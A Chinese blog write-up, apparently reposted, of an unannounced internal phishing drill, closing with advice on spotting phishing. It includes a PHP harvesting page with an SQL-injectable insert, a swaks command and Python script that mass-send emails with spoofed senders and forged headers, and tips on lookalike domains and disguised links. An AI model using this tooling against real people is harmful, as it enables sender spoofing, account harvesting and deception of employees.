记一次真实的邮件钓鱼演练

k1   ·   发表于 2019-07-18 16:39:22   ·   漏洞文章

钓鱼

既然是钓鱼,那钓鱼页面需要尽可能和原系统一致,如果需要网站克隆,推荐使用setookit,里面有个site cloner功能,网上有相关教程,我就不详细描述了。我们这次的演练并没有完全克隆,原因是我们的域系统需要先登录,然后再进行修改密码,如果有cookie记录就直接跳转到修改密码的页面了,为了方便起见,我们直接重新做了一个页面(只是在修改密码页面增加了一个域账号框,方便记录),同时后端不记录"password"字段到数据库,前端效果图如下:

因为我有php环境,方便起见就直接用php+mysql了。因为就记录一个字段,代码也比较简单,如下:

<?php
$con = mysql_connect("localhost","root","XXXX");
if (!$con)
  {
  die('Could not connect: ' . mysql_error());
  } 
mysql_select_db("test", $con);
$sql="INSERT INTO user(username)
VALUES
('$_POST[inputuser]')";

if (!mysql_query($sql,$con))
  {
  die('Error: ' . mysql_error());
  }
echo "<script> {window.alert('密码修改成功');window.open('http://xxx.com', '_top')} </script>";
mysql_close($con)
?>

有django等其他环境的同学,直接用其他框架即可,反正后端就记录个域账号也比较简单。钓鱼页面做好了,接下来就是注册域名和大批量发送钓鱼邮件了。毕竟是演练,我们提前是知道修改域密码的网站域名,申请域名尽量和真实域名类似,比如域名内含o我们就用0代替,含11我们就可以使用ll代替等等。也可以使用域名短链接(网上提供域名短链接的服务商也较多,搜索一下即可),真实钓鱼,但是效果肯定没有伪造的域名好。至于钓鱼邮件发送,这里推荐大家使用awaks工具,安装后,使用格式示例:

swaks  --tls --to xxx@qq.com --from administrator@xxx.com --ehlo qq.com --body hello --header "Subject: hello"
–from <要显示的发件人邮箱>
–ehlo <伪造的邮件ehlo头>
–body <邮件正文>
–header <邮件头信息,subject为邮件标题>

为了安全起见,我们发送邮件需要使用tls,这样发送的内容都是加密的了,但是该工具批量发送带有自定义内容的邮件不方便,于是写了一个py脚本,使用--data参数,方便批量发送,我们的策略是每天随机发送150至200个人,具体看公司规模而定。每个邮箱客户端使用的邮件头还不一样,我们测试了用qq邮箱头发给outlook没有问题,由于我们公司默认都是outlook,foxmail没有测,应该问题也不大,有问题增删相关邮件头字段即可。下面是批量发送脚本内容(命名为mail.py):

import time
import sys
import subprocess
#发送的完整邮件内容有2部分组成,一部分是收件人,是可变的,一部分是邮件内容,是不变的,内容使用file_c变量,收件人使用file_f变量,具体看脚本内容

file_c = '''Subject: =?gb2312?B?xxxxxxxdLss6M=?=  
#主题等都是gb2312编码后的base64加密
#Thread-Topic: =?gb2312?B?0/Lxxxxxxxxxss6M=?=
Thread-Index: AdT6eO/KxxxxxxxxxxxxxxxxIKA==
Date: {time.ctime()} +0800
#发送邮件是提前发送的模板邮件,所以需要获取当前时间作为发送时间,不然接收的时间会不对
Accept-Language: zh-CN, en-US
Content-Language: zh-CN
X-MS-Has-Attach:
X-MS-TNEF-Correlator:
x-originating-ip: [x.x.x.x]
Content-Type:xxxxxxxxx;
Return-Path: administrator@xxx.com
xxx内容xxx '''

file = open(f'/usr/local/src/{sys.argv[1]}', 'r')
names = file.readlines()
for name in names:
    file_f = f'To: "{name.strip()}" <{name.strip()}>\n'
    #print(file_f)
    with open('/usr/local/src/file.txt', 'w') as f:
        f.writelines(file_f + file_c)
    status = subprocess.Popen(['swaks', '--tls', '--data', '/usr/local/src/file.txt', '--to', name.strip(), '--from', 'administrator@xxx.com'], stdout=subprocess.PIPE)
    lg = status.stdout.readlines()
    print(type(lg))
    with open('/usr/local/src/log.txt', 'a+') as g:
        for line in lg:
            g.write(line.decode())
`

发送对象名单保存在sec.txt中,运行 python mail.py sec.txt 即可。
收到的钓鱼邮件如下:

为了钓鱼效果,邮件链接可使用真实链接,然后做个超链接到"钓鱼系统",这样更能神不知鬼不觉
三天后,拉一下数据库,上钩的人有100多,不乏一级部门领导负责人,演练没有事前报备,演练结束后大部门内部通报,领导觉得效果不错!

Tips

一看:看发件人地址,看正文是否异常
二查:查邮件中的链接是否异常
三核实:向发件地址的官方联系人核实,通过上面例子可知发件人地址也是可以伪造的
工作中如果收到可疑的邮件或其他安全事件及时联系安全部门或相关责任部门,不要随意点击相关链接、下载邮件附件等。

转自先知社区

打赏我,让我更有动力~

0 条回复   |  直到 2019-7-18 | 2049 次浏览
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.